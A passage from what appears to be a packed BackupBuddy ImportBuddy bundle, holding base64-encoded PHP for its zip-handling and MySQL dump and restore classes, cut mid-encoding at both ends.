kKCQkJCQl9CgkJCQkKCQkJCX0KCQkJCQoJCQl9CgkJCQoJCQkvLyBJZiB3ZSBnb3QgdGhpcyBmYXIgdGhlbiBjb3VsZG4ndCBnZXQgYSBjb21tZW50IGF0IGFsbCAtIGVpdGhlciBubyBhdmFpbGFibGUgbWV0aG9kIG9yIGFsbCBtZXRob2QgZmFpbGVkCgkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgc3ByaW50ZiggX18oJ1VuYWJsZSB0byBnZXQgY29tbWVudCBpbiBmaWxlICUxJHM6IE5vIGNvbXBhdGlibGUgemlwIG1ldGhvZCBmb3VuZCBvciBhbGwgbWV0aG9kcyBmYWlsZWQuJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSwgJHppcF9maWxlICkgKTsKCgkJCXJldHVybiBmYWxzZTsKCQkJCgkJfQoJCQkJCgkJLy8gRk9SIEZVVFVSRSBVU0U7IE5PVCBZRVQgSU1QTEVNRU5URUQuIFVzZSB0byBjaGVjayAuc3FsIGZpbGUgaXMgbm9uLWVtcHR5LgoJCWZ1bmN0aW9uIGZpbGVfc3RhdHMoICR6aXBfZmlsZSwgJGxvY2F0ZV9maWxlLCAkbGVhdmVfb3BlbiA9IGZhbHNlICkgewoJCQlpZiAoIGluX2FycmF5KCAnemlwYXJjaGl2ZScsICR0aGlzLT5femlwX21ldGhvZHMgKSApIHsKCQkJCSR0aGlzLT5femlwID0gbmV3IFppcEFyY2hpdmU7CgkJCQlpZiAoICR0aGlzLT5femlwLT5vcGVuKCAkemlwX2ZpbGUgKSA9PT0gdHJ1ZSApIHsKCQkJCQlpZiAoICggJHN0YXRzID0gJHRoaXMtPl96aXAtPnN0YXROYW1lKCAkbG9jYXRlX2ZpbGUgKSApID09PSBmYWxzZSApIHsgLy8gRmlsZSBub3QgZm91bmQgaW4gemlwLgoJCQkJCQkkdGhpcy0+X3ppcC0+Y2xvc2UoKTsKCQkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBfXygnRmlsZSBub3QgZm91bmQgKHppcGFyY2hpdmUpIGZvciBzdGF0cycsJ2l0LWwxMG4tYmFja3VwYnVkZHknICkgLiAnOiAnIC4gJGxvY2F0ZV9maWxlICk7CgkJCQkJCXJldHVybiBmYWxzZTsKCQkJCQl9CgkJCQkJJHRoaXMtPl96aXAtPmNsb3NlKCk7CgkJCQkJcmV0dXJuICRzdGF0czsKCQkJCX0gZWxzZSB7CgkJCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCBzcHJpbnRmKCBfXygnWmlwQXJjaGl2ZSBmYWlsZWQgdG8gb3BlbiBmaWxlIHRvIGNoZWNrIHN0YXRzIChsb29raW5nIGluICUxJHMpLicsJ2l0LWwxMG4tYmFja3VwYnVkZHknICksICR6aXBfZmlsZSApICk7CgkJCQkJCgkJCQkJcmV0dXJuIGZhbHNlOwoJCQkJfQoJCQl9CgkJCQoJCQkvLyBJZiB3ZSBtYWRlIGl0IHRoaXMgZmFyIHRoZW4gemlwYXJjaGl2ZSBub3QgYXZhaWxhYmxlL2ZhaWxlZC4KCQkJaWYgKCBpbl9hcnJheSggJ3BjbHppcCcsICR0aGlzLT5femlwX21ldGhvZHMgKSApIHsKCQkJCXJlcXVpcmVfb25jZSggQUJTUEFUSCAuICd3cC1hZG1pbi9pbmNsdWRlcy9jbGFzcy1wY2x6aXAucGhwJyApOwoJCQkJJHRoaXMtPl96aXAgPSBuZXcgUGNsWmlwKCAkemlwX2ZpbGUgKTsKCQkJCWlmICggKCAkZmlsZV9saXN0ID0gJHRoaXMtPl96aXAtPmxpc3RDb250ZW50KCkgKSA9PSAwICkgeyAvLyBJZiB6ZXJvLCB6aXAgaXMgY29ycnVwdCBvciBlbXB0eS4KCQkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICR0aGlzLT5femlwLT5lcnJvckluZm8oIHRydWUgKSApOwoJCQkJfSBlbHNlIHsKCQkJCQlmb3JlYWNoKCAkZmlsZV9saXN0IGFzICRmaWxlICkgewoJCQkJCQlpZiAoICRmaWxlWydmaWxlbmFtZSddID09ICRsb2NhdGVfZmlsZSApIHsgLy8gRm91bmQgZmlsZS4KCQkJCQkJCXJldHVybiB0cnVlOwoJCQkJCQl9CgkJCQkJfQoJCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgX18oJ0ZpbGUgbm90IGZvdW5kIChwY2x6aXApJywnaXQtbDEwbi1iYWNrdXBidWRkeScgKSAuICc6ICcgLiAkbG9jYXRlX2ZpbGUgKTsKCQkJCQlyZXR1cm4gZmFsc2U7CgkJCQl9CgkJCX0gZWxzZSB7CgkJCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsIF9fKCdVbmFibGUgdG8gY2hlY2sgaWYgZmlsZSBleGlzdHM6IE5vIGNvbXBhdGlibGUgemlwIG1ldGhvZCBmb3VuZC4nLCdpdC1sMTBuLWJhY2t1cGJ1ZGR5JyApICk7CgkJCQlyZXR1cm4gZmFsc2U7CgkJCX0KCQl9CgkJCQoJfSAvLyBFbmQgY2xhc3MKCQoJLy8kcGx1Z2luYnVkZHlfemlwYnVkZHkgPSBuZXcgcGx1Z2luYnVkZHlfemlwYnVkZHkoICR0aGlzLT5fb3B0aW9uc1snYmFja3VwX2RpcmVjdG9yeSddICk7Cgp9Cg==
###PACKDATA,FILE_END,/lib/zipbuddy/zipbuddy.php,importbuddy/lib/zipbuddy/zipbuddy.php
###PACKDATA,FILE_START,/lib/mysqlbuddy/index.php,importbuddy/lib/mysqlbuddy/index.php
PD9waHAKLyoqCiAqIFNpbGVuY2UgaXMgZ29sZGVuLgogKgogKiBAcGFja2FnZSBCYWNrdXBCdWRkeQogKi8K
###PACKDATA,FILE_END,/lib/mysqlbuddy/index.php,importbuddy/lib/mysqlbuddy/index.php
###PACKDATA,FILE_START,/lib/mysqlbuddy/mysqlbuddy.php,importbuddy/lib/mysqlbuddy/mysqlbuddy.php
PD9waHAKLyoqCiAqIEJhY2t1cEJ1ZGR5IE15U1FMQnVkZHkgY2xhc3MKICoKICogSGVscHMgYmFja3VwIGFuZCByZXN0b3JlIGRhdGFiYXNlIHRhYmxlcy4KICogRHVtcHMgYSBteXNxbCBkYXRhYmFzZSAoYWxsIHRhYmxlcywgdGFibGVzIHdpdGggYSBjZXJ0YWluIHByZWZpeCwgb3Igbm9uZSkgd2l0aCBhZGRpdGlvbmFsIGluY2x1c2lvbnMvZXhjbHVzaW9ucyBvZiB0YWJsZXMgcG9zc2libGUuCiAqIEF1dG9tYXRpY2FsbHkgZGV0ZXJtaW5lcyBhdmFpbGFibGUgZHVtcCBtZXRob2RzICh1bmxlc3MgbWV0aG9kIGlzIGZvcmNlZCkuIFJ1bnMgbWV0aG9kcyBpbiBvcmRlciBvZiBwcmVmZXJlbmNlLiBGYWxscyBiYWNrIGF1dG9tYXRpY2FsbHkKICogdG8gYW55IGBsZXNzZXJgIG1ldGhvZHMgaWYgYW55IGZhaWwuCiAqIEJvdGggZHVtcCBhbmQgaW1wb3J0IHN1cHBvcnQgYm90aCBQSFAtYmFzZWQgYW5kIGNvbW1hbmQgbGluZSBtZXRob2RzLiBQSFAtYmFzZWQgaXMgcHJlZmVycmVkIHNpbmNlIGl0IHN1cHBvcnRzIGNodW5raW5nIGFuZCBidXJzdGluZy4KICoKICogUmVxdWlyZW1lbnRzOgogKgogKiAgICAgRXhwZWN0cyBteXNxbCB0byBhbHJlYWR5IGJlIHNldCB1cCBhbmQgY29ubmVjdGVkLgogKgogKiBHZW5lcmFsIHByb2Nlc3Mgb3JkZXI6CiAqCiAqICAgICBDb25zdHJ1Y3Rpb246IF9fY29uc3RydWN0KCkgLT4gW2F2YWlsYWJsZV96aXBfbWV0aG9kcygpXQogKiAgICAgRHVtcDogZHVtcCgpIC0+IF9jYWxjdWxhdGVfdGFibGVzKCkgLT4gW19teXNxbCBhbmQvb3IgX3BocF0KICoKICogICAgIE1ldGhvZCBwcm9jZXNzOgogKiAgICAgICAgIF9teXNxbCBtZXRob2QgKEZBU1QpOgogKiAgICAgICAgICAgICBCdWlsZHMgdGhlIGNvbW1hbmQgbGluZSAtPiBydW5zIGNvbW1hbmQgdmlhIGV4ZWMoKSAtPiBjaGVja3MgZXhpdCBjb2RlIC0+IHZlcmlmaWVzIC5zcWwgZmlsZSB3YXMgY3JlYXRlZDsgZmFsbHMgdG8gbmV4dCBtZXRob2QgaWYgZXhpdCBjb2RlIGlzIGJhZCBvciAuc3FsIGZpbGUgaXMgbWlzc2luZy4KICogICAgICAgICBfcGhwIG1ldGhvZCAoU0xPVzsgY29tcGF0aWJpbGl0eSBtb2RlOyBvbmx5IG1vZGUgcHJlLTMuMCk6CiAqICAgICAgICAgICAgIEl0ZXJhdGVzIHRocm91Z2ggYWxsIHRhYmxlcyBpc3N1aW5nIFNRTCBjb21tYW5kcyB0byBzZXJ2ZXIgdG8gZ2V0IGNyZWF0ZSBzdGF0ZW1lbnRzIGFuZCBhbGwgZGF0YWJhc2UgY29udGVudC4gVmVyeSBicnV0ZSBmb3JjZSBtZXRob2QuCiAqCiAqIEBwYWNrYWdlIEJhY2t1cEJ1ZGR5CiAqIEBhdXRob3IgRHVzdGluIEJvbHRvbgogKiBAc2luY2UgMy4wLjAKICovCgovKioKICogTXlTUUwgQnVkZHkgTWFpbiBDbGFzcwogKi8KY2xhc3MgcGJfYmFja3VwYnVkZHlfbXlzcWxidWRkeSB7CgoJLyoqCgkgKiBJZiBjb21tYW5kIGxpbmUgaXMgbG9uZ2VyIHRoYW4gdGhpcyB0aGVuIHdlIHdpbGwgdHJ5IHRvIGRldGVybWluZSBtYXggY29tbWFuZCBsaW5lIGxlbmd0aC4KCSAqCgkgKiBAdmFyIGludAoJICovCgljb25zdCBDT01NQU5EX0xJTkVfTEVOR1RIX0NIRUNLX1RIUkVTSE9MRCA9IDI1MDsKCgkvKioKCSAqIE51bWJlciBvZiBzZWNvbmRzIHRvIGZ1ZGdlIHVwIHRoZSB0aW1lIGVsYXBzZWQgdG8gZ2l2ZSBhIGxpdHRsZSB3aWdnbGUgcm9vbSBzbyB3ZSBkb24ndCBhY2NpZGVudGx5IGhpdCB0aGUgZWRnZSBhbmQgdGltZSBvdXQuCgkgKgoJICogQHZhciBpbnQKCSAqLwoJY29uc3QgVElNRV9XSUdHTEVfUk9PTSA9IDQ7CgoJLyoqCgkgKiBOdW1iZXIgb2Ygcm93cy9xdWVyaWVzIHRvIGhlYXJ0YmVhdCBhZnRlciwgbG9nZ2luZyBudW1iZXIgb2Ygcm93cyBoYW5kbGVkLgoJICoKCSAqIEB2YXIgaW50CgkgKi8KCWNvbnN0IEhFQVJUQkVBVF9DT1VOVF9MSU1JVCA9IDIwMDA7CgoJLyoqCgkgKiBJbnRlcm5hbCB2ZXJzaW9uIG51bWJlciBmb3IgdGhpcyBsaWJyYXJ5LgoJICoKCSAqIEB2YXIgc3RyaW5nCgkgKi8KCXByaXZhdGUgJF92ZXJzaW9uID0gJzAuMC4xJzsKCgkvKioKCSAqIERhdGFiYXNlIGhvc3Qvc2VydmVyLgoJICoKCSAqIEBzZWUgX19jb25zdHJ1Y3QoKQoJICoKCSAqIEB2YXIgc3RyaW5nCgkgKi8KCXByaXZhdGUgJF9kYXRhYmFzZV9ob3N0ID0gJyc7CgoJLyoqCgkgKiBJZiB1c2luZyBzb2NrZXRzLCBwb2ludHMgdG8gc29ja2V0IGZpbGUuIExlZnQgYmxhbmsgaWYgc29ja2V0cyBub3QgaW4gdXNlLgoJICoKCSAqIEBzZWUgX19jb25zdHJ1Y3QoKQoJICoKCSAqIEB2YXIgc3RyaW5nCgkgKi8KCXByaXZhdGUgJF9kYXRhYmFzZV9zb2NrZXQgPSAnJzsKCgkvKioKCSAqIERhdGFiYXNlIG5hbWUuCgkgKgoJICogQHNlZSBfX2NvbnN0cnVjdCgpCgkgKgoJICogQHZhciBzdHJpbmcKCSAqLwoJcHJpdmF0ZSAkX2RhdGFiYXNlX25hbWUgPSAnJzsKCgkvKioKCSAqIERhdGFiYXNlIHVzZXJuYW1lLgoJICoKCSAqIEBzZWUgX19jb25zdHJ1Y3QoKQoJICoKCSAqIEB2YXIgc3RyaW5nCgkgKi8KCXByaXZhdGUgJF9kYXRhYmFzZV91c2VyID0gJyc7CgoJLyoqCgkgKiBEYXRhYmFzZSBwYXNzd29yZC4KCSAqCgkgKiBAc2VlIF9fY29uc3RydWN0KCkKCSAqCgkgKiBAdmFyIHN0cmluZwoJICovCglwcml2YXRlICRfZGF0YWJhc2VfcGFzcyA9ICcnOwoKCS8qKgoJICogRGF0YWJhc2UgdGFibGUgcHJlZml4IHRvIGJhY2t1cCB3aGVuIGluIHByZWZpeCBtb2RlLgoJICoKCSAqIEBzZWUgX19jb25zdHJ1Y3QoKQoJICoKCSAqIEB2YXIgc3RyaW5nCgkgKi8KCXByaXZhdGUgJF9kYXRhYmFzZV9wcmVmaXggPSAnJzsKCgkvKioKCSAqIERhdGFiYXNlIHBvcnQgdG8gRk9SQ0UuIERlZmF1bHQgYmxhbmsuIElmIHNldCB0aGVuIHRoaXMgcG9ydCB3aWxsIGJlIHNwZWNpZmllZCBpbiBjb25uZWN0aW9uLiBMZWF2ZSBibGFuayB0byB1c2UgZGVmYXVsdCBmb3Igc2VydmVyLgoJICoKCSAqIEBzZWUgX19jb25zdHJ1Y3QoKQoJICoKCSAqIEB2YXIgc3RyaW5nCgkgKi8KCXByaXZhdGUgJF9kYXRhYmFzZV9wb3J0ID0gJyc7CgoJLyoqCgkgKiBEZXRlcm1pbmVzIGJhc2UgdGFibGVzIHRvIGluY2x1ZGUgaW4gYmFja3VwLiBFeDogbm9uZSwgYWxsLCBvciBieSBwcmVmaXguCgkgKgoJICogQHNlZSBfX2NvbnN0cnVjdCgpCgkgKgoJICogQHZhciBzdHJpbmcKCSAqLwoJcHJpdmF0ZSAkX2Jhc2VfZHVtcF9tb2RlID0gJyc7CgoJLyoqCgkgKiBBZGRpdGlvbmFsIHRhYmxlcyB0byBiYWNrdXAgaW4gYWRkaXRpb24gdG8gdGhvc2UgZGV0ZXJtaW5lZCBieSBiYXNlIG1vZGUuCgkgKgoJICogQHZhciBhcnJheQoJICovCglwcml2YXRlICRfYWRkaXRpb25hbF9pbmNsdWRlcyA9IGFycmF5KCk7CgoJLyoqCgkgKiBUYWJsZXMgdG8gZXhjbHVkZSBmcm9tICggJF9hZGRpdGlvbmFsX2luY2x1ZGVzICsgdGhvc2UgZGV0ZXJtaW5lZCBieSBiYXNlIG1vZGUgKS4KCSAqCgkgKiBAdmFyIGFycmF5CgkgKi8KCXByaXZhdGUgJF9hZGRpdGlvbmFsX2V4Y2x1ZGVzID0gYXJyYXkoKTsKCgkvKioKCSAqIEF2YWlsYWJsZSBtZWNoYW5pc21zIGZvciBkdW1waW5nIGluIG9yZGVyIG9mIHByZWZlcmVuY2UuCgkgKgoJICogQHZhciBhcnJheQoJICovCglwcml2YXRlICRfbWV0aG9kcyA9IGFycmF5KCk7CgoJLyoqCgkgKiBQb3B1bGF0ZWQgYnkgX2NhbGN1bGF0ZV9teXNxbF9kaXJlY3RvcnkoKS4KCSAqCgkgKiBAdmFyIGFycmF5CgkgKi8KCXByaXZhdGUgJF9teXNxbF9kaXJlY3RvcmllcyA9IGFycmF5KCk7CgoJLyoqCgkgKiBJZiBteXNxbCB0ZWxscyB1cyB3aGVyZSBpdHMgaW5zdGFsbGVkIHdlIHByZXBlbmQgdG8gdGhpcy4gQmVnaW5uaW5nIGFuZCB0cmFpbGluZyBzbGFzaGVzLgoJICoKCSAqIEB2YXIgYXJyYXkKCSAqLwoJcHJpdmF0ZSAkX2RlZmF1bHRfbXlzcWxfZGlyZWN0b3JpZXMgPSBhcnJheSgKCQknL3Vzci9iaW4vJywKCQknL3Vzci9iaW4vbXlzcWwvJywKCQknL3Vzci9sb2NhbC9iaW4vJywKCSk7CgoJLyoqCgkgKiBUZXN0ZWQgd29ya2luZyBteXNxbCBkaXJlY3RvcnkgdG8gdXNlIGZvciBhY3R1YWwgZHVtcC4KCSAqCgkgKiBAdmFyIHN0cmluZwoJICovCglwcml2YXRlICRfbXlzcWxfZGlyZWN0b3J5ID0gJyc7CgoJLyoqCgkgKiBJbnN0YW5jZSBvZiBjb21tYW5kYnVkZHkgY2xhc3MuCgkgKgoJICogQHZhciBvYmplY3QKCSAqLwoJcHJpdmF0ZSAkX2NvbW1hbmRidWRkeTsKCgkvKioKCSAqIFZlcnNpb24gb2YgdGhlIG15c3FsIHNlcnZlciB0aGF0IGR1bXBlZCB0aGlzIFNRTC4gSGFuZGxlIHdvcmthcm91bmRzIG9mIFNRTCBzeW50YXggY2hhbmdlcy4KCSAqCgkgKiBAdmFyIHN0cmluZwoJICovCglwcml2YXRlICRfaW5jb21pbmdfc3FsX3ZlcnNpb24gPSAnJzsKCgkvKioKCSAqIFZlcnNpb24gb2YgdGhlIG15c3FsIHNlcnZlciBydW5uaW5nIGxvY2FsbHksIGNhbGN1bGF0ZWQgb24gY29uc3RydWN0LgoJICoKCSAqIEB2YXIgc3RyaW5nCgkgKi8KCXByaXZhdGUgJF9jdXJyZW50X3NxbF92ZXJzaW9uID0gJyc7CgoJLyoqCgkgKiBXaGV0aGVyIG9yIG5vdCB0byBtaWdyYXRlIFNRTCBzeW50YXggZm9yIGluY29taW5nIG15c3FsIDwgdjUuMSB3aGVuIGltcG9ydGluZyB0byBteXNxbCA1LjErLgoJICoKCSAqIEB2YXIgYm9vbAoJICovCglwcml2YXRlICRfaG90Zml4XzcwMDEgPSBmYWxzZTsKCgkvKioKCSAqIE1heCBFeGVjdXRpb24gVGltZS4KCSAqCgkgKiBAdmFyIGludAoJICovCglwcml2YXRlICRfbWF4RXhlY3V0aW9uVGltZSA9ICcnOwoKCS8qKgoJICogTWF4IHJvd3MgcGVyIHNlbGVjdC4KCSAqCgkgKiBAdmFyIGludAoJICovCglwcml2YXRlICRfbWF4X3Jvd3NfcGVyX3NlbGVjdCA9IDEwMDA7CgoJLyoqCgkgKiBOdW1iZXIgb2YgOTAxMCBFcnJvcnMgZW5jb3VudGVyZWQuCgkgKgoJICogQHZhciBpbnQKCSAqLwoJcHJpdmF0ZSAkXzkwMTBzX2VuY291bnRlcmVkID0gMDsKCgkvKioKCSAqIEFmdGVyIHRoaXMgcG9pbnQgYW4gZXJyb3Igd2lsbCBiZSBzaG93biBpbmRpY2F0aW5nIHN1YnNlcXVlbnQgZXJyb3JzIHdpbGwgYmUgaGlkZGVuLiBBbGwgOTAxMCBsb2cgdG86IEFCU1BBVEggLiAnaW1wb3J0YnVkZHkvbXlzcWxfOTAxMF9sb2ctJyAuIHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1snbG9nX3NlcmlhbCddIC4gJy50eHQnCgkgKgoJICogQHZhciBpbnQKCSAqLwoJcHJpdmF0ZSAkX21heF85MDEwc19hbGxvd2VkID0gOTsKCgkvKioKCSAqIFdoZW4gZW5hYmxlZCwgQmFja3VwQnVkZHkgd2lsbCBkdW1wIGluZGl2aWR1YWwgdGFibGVzIHRvIHRoZWlyIG93biBkYXRhYmFzZSBmaWxlIChlZyB3cF9vcHRpb25zLnNxbCwgd3BfcG9zdHMuc3FsLCBldGMpIHdoZW4gcG9zc2libGUgYmFzZWQgb24gb3RoZXIgY3JpdGVyaWEgc3VjaCBhcyB0aGUgZHVtcCBtZXRob2QgYW5kIHdoZXRoZXIgYnJlYWtpbmcgb3V0IGJpZyB0YWJsZXMgaXMgZW5hYmxlZC4KCSAqCgkgKiBAdmFyIGJvb2wKCSAqLwoJcHJpdmF0ZSAkX2ZvcmNlX3NpbmdsZV9kYl9maWxlID0gZmFsc2U7CgoJLyoqCgkgKiBDdXJyZW50IFNRTCBmaWxlIG9wZXJhdGVkIG9uLiBVc2VkIGZvciBsb2dnaW5nLgoJICoKCSAqIEB2YXIgc3RyaW5nCgkgKi8KCXByaXZhdGUgJF9jdXJyZW50X3NxbF9maWxlID0gJyc7CgoJLyoqCgkgKiBEZWZhdWx0IHJvd3MgcGVyIHNlbGVjdCBpcyBkZXRlcm1pbmVkIGJ5IGRlZmF1bHQgcHJpdmF0ZSB2YXIgYWJvdmUgaWYgbm9uZSBwYXNzZWQuIE92ZXJyaWRlbiBieSBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ3BocG15c3FsZHVtcF9tYXhyb3dzJ10gaWYgbm90IGJsYW5rIGFuZCBpcyBudW1lcmljIGFuZCBvdmVycmlkZW4gYnkgcGFzc2VkIHBhcmFtZXRlciBpZiBkZWZpbmVkLgoJICoKCSAqIEBwYXJhbSBzdHJpbmcgJGRhdGFiYXNlX2hvc3QgICAgICAgIEhvc3QgLyBzZXJ2ZXIgb2YgZGF0YWJhc2UgdG8gcHVsbCBmcm9tLiBNYXkgYmUgaW4gdGhlIGZvcm1hdDogYGxvY2FsaG9zdGAgZm9yIG5vcm1hbDsgYGxvY2FsaG9zdDovcGF0aC90by9teXNxbC5zb2NrYCBmb3Igc29ja2V0cy4gSWYgc29ja2V0cyB0aGVuIHBhcmFzZWQgYW5kIGludGVybmFsIGNsYXNzIHZhcmlhYmxlcyBzZXQgYXBwcm9wcmlhdGVseS4KCSAqIEBwYXJhbSBzdHJpbmcgJGRhdGFiYXNlX25hbWUgICAgICAgIE5hbWUgb2YgZGF0YWJhc2UgdG8gcHVsbCBmcm9tLgoJICogQHBhcmFtIHN0cmluZyAkZGF0YWJhc2VfdXNlciAgICAgICAgVXNlciBvZiBkYXRhYmFzZSB0byBwdWxsIGZyb20uCgkgKiBAcGFyYW0gc3RyaW5nICRkYXRhYmFzZV9wYXNzICAgICAgICBQYXNzIG9mIGRhdGFiYXNlIHRvIHB1bGwgZnJvbS4KCSAqIEBwYXJhbSBzdHJpbmcgJGRhdGFiYXNlX3ByZWZpeCAgICAgIFByZWZpeCBvZiB0YWJsZXMgaW4gZGF0YWJhc2UgdG8gcHVsbCBmcm9tIC8gaW5zZXJ0IGludG8gKG9ubHkgdXNlZCBpZiBiYXNlIG1vZGUgaXMgYHByZWZpeGApLgoJICogQHBhcmFtIGFycmF5ICAkZm9yY2VfbWV0aG9kcyAgICAgICAgT3B0aW9uYWwuIFBvc3NpYmxlIG1ldGhvZHM6IGNvbW1hbmRsaW5lLCBwaHAgLSBPdmVycmlkZSBhdXRvbWF0aWMgbWV0aG9kIGRldGVjdGlvbi4gU2tpcHMgdGVzdCBhbmQgcnVucyBmaXJzdCBtZXRob2QgZmlyc3QuIEZhbGxzIGJhY2sgdG8gb3RoZXIgbWV0aG9kcyBpZiBhbnkgZmFpbHVyZS4KCSAqIEBwYXJhbSBpbnQgICAgJG1heF9leGVjdXRpb24gICAgICAgIE9wdGlvbmFsLiBNYXhpbXVtIGV4ZWN1dGlvbiB0aW1lIHRvIHJ1biBmb3IgYmVmb3JlIHN0b3BwaW5nIHRvIGFsbG93IGZvciBjb250aW51aW5nIHRoZSBuZXh0IGltcG9ydCBwaWNraW5nIHVwIHdoZXJlIHdlIGxlZnQgb2ZmLiBJZiBibGFuayB3ZSB0cnkgYW5kIGRlZHVjZSBpdC4gSWYgLTEgdGhlbiB3ZSBkbyBOT1QgdXNlIGNodW5raW5nLiBVc2VmdWwgZm9yIGNsYXNzaWMgbW9kZS4KCSAqIEBwYXJhbSBpbnQgICAgJG1heF9yb3dzX3Blcl9zZWxlY3QgIE9wdGlvbmFsLiBGb3IgUEhQLWJhc2VkIG15c3FsIGR1bXAsIG1heCBudW1iZXIgb2Ygcm93cyBwZXIgc2VsZWN0IHRvIGdyYWIuCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCggJGRhdGFiYXNlX2hvc3QsICRkYXRhYmFzZV9uYW1lLCAkZGF0YWJhc2VfdXNlciwgJGRhdGFiYXNlX3Bhc3MsICRkYXRhYmFzZV9wcmVmaXgsICRmb3JjZV9tZXRob2RzID0gYXJyYXkoKSwgJG1heF9leGVjdXRpb24gPSAnJywgJG1heF9yb3dzX3Blcl9zZWxlY3QgPSAnJyApIHsKCgkJaWYgKCBpc3NldCggcGJfYmFja3VwYnVkZHk6OiRvcHRpb25zWydwaHBteXNxbGR1bXBfbWF4cm93cyddICkgJiYgKCAnJyAhPSBwYl9iYWNrdXBidWRkeTo6JG9wdGlvbnNbJ3BocG15c3FsZHVtcF9tYXhyb3dzJ10gKSAmJiAoIGlzX251bWVyaWMoIHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1sncGhwbXlzcWxkdW1wX21heHJvd3MnXSApICkgKSB7CgkJCSR0aGlzLT5fbWF4X3Jvd3NfcGVyX3NlbGVjdCA9IHBiX2JhY2t1cGJ1ZGR5Ojokb3B0aW9uc1sncGhwbXlzcWxkdW1wX21heHJvd3MnXTsKCQl9CgkJaWYgKCAoICcnICE9ICRtYXhfcm93c19wZXJfc2VsZWN0ICkgJiYgKCBpc19udW1lcmljKCAkbWF4X3Jvd3NfcGVyX3NlbGVjdCApICkgKSB7CgkJCSR0aGlzLT5fbWF4X3Jvd3NfcGVyX3NlbGVjdCA9ICRtYXhfcm93c19wZXJfc2VsZWN0OwoJCX0KCQlwYl9iYWNrdXBidWRkeTo6c3RhdHVzKCAnZGV0YWlscycsICdQSFAtYmFzZWQgbXlzcWxkdW1wIChpZiBhcHBsaWNhYmxlKSBtYXggcm93cyBwZXIgc2VsZWN0IHNldCB0byAnIC4gJHRoaXMtPl9tYXhfcm93c19wZXJfc2VsZWN0IC4gJy4nICk7CgoJCS8vIEhhbmRsZXMgY29tbWFuZCBsaW5lIGV4ZWN1dGlvbi4KCQlyZXF1aXJlX29uY2UgcGJfYmFja3VwYnVkZHk6OnBsdWdpbl9wYXRoKCkgLiAnL2xpYi9jb21tYW5kYnVkZHkvY29tbWFuZGJ1ZGR5LnBocCc7CgkJJHRoaXMtPl9jb21tYW5kYnVkZHkgPSBuZXcgcGJfYmFja3VwYnVkZHlfY29tbWFuZGJ1ZGR5KCk7CgoJCS8vIENoZWNrIGZvciB1c2Ugb2Ygc29ja2V0cyBpbiBob3N0LiBIYW5kbGUgaWYgdXNpbmcgc29ja2V0cy4KCQlpZiAoIHN0cnBvcyggJGRhdGFiYXNlX2hvc3QsICc6JyApID09PSBmYWxzZSApIHsgLy8gTm9ybWFsIGhvc3QuIE5vIHNvY2tldCBvciBwb3J0IHNwZWNpZmllZC4KCQkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnRGF0YWJhc2UgaG9zdCBmb3IgZHVtcGluZzogYCcgLiAkZGF0YWJhc2VfaG9zdCAuICdgJyApOwoJCQkkdGhpcy0+X2RhdGFiYXNlX2hvc3QgPSAkZGF0YWJhc2VfaG9zdDsKCQl9IGVsc2UgeyAvLyBOb24tbm9ybWFsIGhvc3Qgc3BlY2lmaWNhdGlvbi4gRWl0aGVyIHNvY2tldCBvciBwb3J0IG51bWJlciBpcyBzcGVjaWZpZWQuCgkJCSRob3N0X3NwbGl0ID0gZXhwbG9kZSggJzonLCAkZGF0YWJhc2VfaG9zdCApOwoJCQlpZiAoICEgaXNfbnVtZXJpYyggJGhvc3Rfc3BsaXRbMV0gKSApIHsgLy8gU3RyaW5nIHNvIGFzc3VtZSBhIHNvY2tldC4KCQkJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ0RhdGFiYXNlIGhvc3QgKHNvY2tldCkgZm9yIGR1bXBpbmcuIEhvc3Q6IGAnIC4gJGhvc3Rfc3BsaXRbMF0gLiAnYDsgU29ja2V0OiBgJyAuICRob3N0X3NwbGl0WzFdIC4gJ2AuJyApOwoJCQkJJHRoaXMtPl9kYXRhYmFzZV9ob3N0ICAgPSAkaG9zdF9zcGxpdFswXTsKCQkJCSR0aGlzLT5fZGF0YWJhc2Vfc29ja2V0ID0gJGhvc3Rfc3BsaXRbMV07CgkJCX0gZWxzZWlmICggaXNfbnVtZXJpYyggJGhvc3Rfc3BsaXRbMV0gKSApIHsgLy8gUG9ydCBudW1iZXIgc3BlY2lmaWVkLgoJCQkJJHRoaXMtPl9kYXRhYmFzZV9ob3N0ID0gJGhvc3Rfc3BsaXRbMF07CgkJCQkkdGhpcy0+X2RhdGFiYXNlX3BvcnQgPSAkaG9zdF9zcGxpdFsxXTsKCQkJfSBlbHNlIHsgLy8gVWtub3duLiBMZWF2ZSBhcyBvbmUgcGllY2UuCgkJCQkkdGhpcy0+X2RhdGFiYXNlX2hvc3QgPSAkZGF0YWJhc2VfaG9zdDsKCQkJfQoJCX0KCQl1bnNldCggJGhvc3Rfc3BsaXQgKTsKCgkJcGJfYmFja3VwYnVkZHk6OnN0YXR1cyggJ2RldGFpbHMnLCAnTG9hZGluZyBteXNxbGJ1ZGR5IGxpYnJhcnkuJyApOwoJCXBiX2JhY2t1cGJ1ZGR5OjpzdGF0dXMoICdkZXRhaWxzJywgJ015c3FsIHNlcnZlciBkZWZhdWx0IGRpcmVjdG9yaWVzOiBgJyAuIGltcGxvZGUoICcsJywgJHRoaXMtPl9kZWZhdWx0X215c3FsX2RpcmVjdG9yaWVzICkgLiAnYCcgKTsKCgkJJHRoaXMtPl9kYXRhYmFzZV9uYW1lICAgPSAkZGF0YWJhc2VfbmFtZTsKCQkkdGhpcy0+X2RhdGFiYXNlX3VzZXIgICA9ICRkYXRhYmFzZV91c2VyOwoJCSR0aGlzLT5fZGF0YWJhc2VfcGFzcyAgID0gJGRhdGFiYXNlX3Bhc3M7CgkJJHRoaXMtPl9kYXRhYmFzZV9